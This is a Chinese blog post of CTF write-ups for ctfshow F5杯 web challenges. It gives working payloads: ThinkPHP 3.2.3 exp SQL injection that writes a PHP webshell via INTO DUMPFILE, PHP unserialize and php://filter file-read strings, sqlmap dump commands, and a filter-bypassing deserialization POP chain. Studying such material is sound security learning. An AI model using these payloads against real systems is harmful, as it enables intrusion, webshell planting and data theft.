ctfshow-F5杯-WEB

lastsward's website

考点:Thinkphp 3.2.3 exp注入漏洞

参考文档

https://y4er.com/post/thinkphp3-vuln/

https://zhuanlan.zhihu.com/p/127208753

解题步骤

网站目录结构

打开网址,是一个登录界面

 

存在弱密码,admin 123456。

不登陆其实也可以

观察url

http://f49f7057-a17b-4bec-98a6-429712d08348.chall.ctf.show:8080/Public/Login.html

访问 url/Public/ 即可访问所有目录

确认框架版本

查看游戏

观察url

http://f49f7057-a17b-4bec-98a6-429712d08348.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/2

 

又根据错误页面的信息

 

确定框架为ThinkPHP 3.2.3

漏洞利用

搜索该版本的漏洞后发现存在exp注入漏洞

当id[0]=exp时,会将id[1]中的内容进行拼接。

这里的id变为了gameId

先使用sleep函数测试一下

http://f49f7057-a17b-4bec-98a6-429712d08348.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 and sleep(5)--+

发现sleep函数被过滤了,还被嘲讽了,==

 

fuzz测试一波sql关键字

发现dumpfile可以使用。

构造payload

http://bc656195-47f8-4155-8fe4-3437eaa96b49.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"--+

查看shell.php

 

写入成功

刚好我们可以修改游戏名字。

修改为<?php phpinfo()?>

 

再访问一次payload

http://bc656195-47f8-4155-8fe4-3437eaa96b49.chall.ctf.show:8080/index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell1.php"--+

 

dumpfile写入的文件不能存在,所以需要写入另一个文件。

 

成功访问phpinfo界面

 

在environment中找到flag

eazy-unserialize&eazy-unserialize-revenge

考点:php反序列化,php伪协议

 

 这道题出的有问题,可以非预期接出来。所以并不是很了解想要考察的知识点。==

<?php
include "mysqlDb.class.php";

class ctfshow{
    public $method;
    public $args;
    public $cursor;

    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->getCursor();
    }

    function getCursor(){
        global $DEBUG;
        if (!$this->cursor)
            $this->cursor = MySql::getInstance();

        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  USERINFO";
            $this->cursor->Exec($sql);
            $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

            $this->cursor->Exec($sql);
            $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
            $this->cursor->Exec($sql);
        }
    }

    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->cursor->getRow($sql);
        $data = $obj['role'];

        if ( $data != null ) {
            define('Happy', TRUE);
            $this->loadData($data);
        }
        else {
            $this->byebye("sorry!");
        }
    }

    function closeCursor(){
        $this->cursor = MySql::destroyInstance();
    }

    function lookme() {
        highlight_file(__FILE__);
    }

    function loadData($data) {

        if (substr($data, 0, 2) !== 'O:') {
            return unserialize($data);
        }
        return null;
    }

    function __destruct() {
        $this->getCursor();
        if (in_array($this->method, array("login", "lookme"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->byebye("fuc***** hacker ?");
        }
        $this->closeCursor();
    }

    function byebye($msg) {
        $this->closeCursor();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
}

class Happy{
    public $file='flag.php';

    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }

}

function ezwaf($data){
    if (preg_match("/ctfshow/",$data)){
        die("Hacker !!!");
    }
    return $data;
}
if(isset($_GET["w_a_n"])) {
    @unserialize(ezwaf($_GET["w_a_n"]));
} else {
    new CTFSHOW("lookme", array());
}

审计代码发现,Happy类存在明显的文件包含漏洞,都不用分析ctfshow类。==

利用php伪协议读取flag.php

构造payload

http://69109160-e30e-4f0e-a334-ba85ca32a8a9.chall.ctf.show:8080/?w_a_n=O:5:"Happy":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

得到源码

<?php
!defined('Happy') && exit('Access Denied');
echo file_get_contents("/flag");

?>

得知flag在根目录下。

继续利用php伪协议来读取

http://69109160-e30e-4f0e-a334-ba85ca32a8a9.chall.ctf.show:8080/?w_a_n=O:5:"Happy":1:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}

得到flag

迷惑行为大赏之盲注

sql盲注,@特殊符号

寻找注入点

登陆界面

这个界面一直报错。

 

忘记密码界面

 

 

 

 

显然布尔判断生效了。存在注入点

SQLMAP注入

直接sqlmap一把梭

1. 测试注入方式

sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" --batch

 

布尔盲注就可以,但不知道为甚么sqlmap要用时间盲注,==

2. 爆数据库

sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" --dbs --batch

 

3. 爆表名

sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" -D 测试 -tables --batch

 

4. 爆列名

sqlmap -u http://4d69ff49-5dd8-43c9-9c4c-18dc1ab13d0d.chall.ctf.show:8080/forgot.php --data="username=1" -D 测试 -T 15665611612 -columns --batch

 

确定就是在这个表了

5. 爆字段

 这里要注意列名中有@符号。需要进行url编码

sqlmap -u http://ecb615f3-384e-495e-b8d1-638a8fcdcc92.chall.ctf.show:8080/forgot.php --data="username=1" -D 测试 -T 15665611612 -C 'what%40you%40want' --dump --batch

 

得到flag

Web逃离计划

考点:文件包含,php伪协议,POP链

 

根据提示,显然是爆破。

存在admin账户

 

 

 爆破出密码

 

 

 

啊这

继续查看网站源码,发现一个好东西

 

这里可能会有文件包含漏洞。

<?php

error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.png'){
        header("Content-Type:image/png");
        echo file_get_contents("./static/img/logo.png");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

考虑使用php伪协议filter读取文件。

这里过滤了read,但是不用read也可以实现读取。

 

构造payload

http://fb9f232b-4e98-4dfe-b49a-8b1ff3edac26.chall.ctf.show:8080/lookMe.php?file=php://filter/convert.base64-encode/resource=hint.php

得到hint.php源码

<?php
echo "Here are some key messages that are hidden but u can't read</br>u may try other ways to read this file to get hints";
//You can only read the following(Files in the current directory),and  only top 3 are necessary:
//ezwaf.php
//class.php
//index.php
//lookMe.php

继续使用php伪协议读取其他文件

 class.php

<?php
error_reporting(0);

class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}


class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;

    public function __construct($username,$password,$mobile){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
    }

    public function __toString(){
        return $this->mdPwd->pwd;
    }
}

class magic{
    protected $username;

    public function __get($key){
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }

    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");
    }


}

class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();

    public function __construct($username, $password,$func = "personalData"){
        $this->username = $username;
        $this->password = $password;
        $this->func[$func] = true;
    }

    public function checkFunction(array $funcBars) {
        $retData = null;

        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);

        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){
                    $retData = true;
                }
            }
        }


        return $retData;
    }

    public function doFunction($function){
        // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
        return true;
    }


    public function __destruct(){
        $retData = $this->checkFunction($this->func);
        $this->doFunction($retData);

    }
}

ezwaf.php

<?php
function get($data){
    $data = str_replace('forfun', chr(0)."*".chr(0), $data);
    return $data;
}

function checkData($data){
    if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
        die("fuc**** hacker!!!\n");
    }
    else{
        return $data;
    }
}

function checkLogData($data){
    if (preg_match("/register|magic|PersonalFunction/",$data)){
        die("fuc**** hacker!!!!\n");
    }
    else{
        return $data;
    }
}

index.php

<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
    $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
    $login = unserialize($serData);
    $loginStatus = $login->checkStatus();
    if ($loginStatus){
        $_SESSION['login'] = true;
        $_COOKIE['status'] = 0;
    }
    $finish = true;
}
?>

这里显然就需要构造POP链,利用反序列化的逃逸。

具体步骤atao大佬已经分析的很清楚了,我就不写了,也不好写清楚。

phpstorm启动,将代码复制进来。

POP链构造:

记得修改类的__construct方法。

 

 

 

 运行得到

O:5:"Login":3:{s:12:"\00*\00user_name";s:3:"aaa";s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}s:8:"\00*\00admin";i:0;}

橙色部分就是我们需要的payload。

$password=";橙色部分         (记得给"加上\)

运行得到

O:5:"Login":3:{s:12:"\00*\00user_name";s:3:"aaa";s:12:"\00*\00pass_word";s:301:"";s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:3:"aaa";s:11:"\00*\00password";s:6:"123456";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}";s:8:"\00*\00admin";i:0;}

绿色部分就是我们要吞噬掉的字符,29个字符。

因为get函数  str_replace('forfun', chr(0)."*".chr(0), $data),会减少3个字符。

为了使被吞噬字符数为3的倍数,需要再加一个字符。

$username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun  (10个forfun)

$password=a";橙色部分

还需要绕过对数据的过滤,

  1. 通过将字符串的s类型改为S,可以对十六进制进行解码 ,来绕过对username和password的过滤
  2. 通过大小写绕过类名的过滤

最终payload:

username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=a";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";S:3:"aaa";S:11:"\00*\00\70assword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";S:3:"aaa";S:11:"\00*\00\70assword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";S:5:"admin";}}}}

 

 



 

posted @ 2021-02-26 00:55  fallingskies  阅读(805)  评论(0编辑  收藏  举报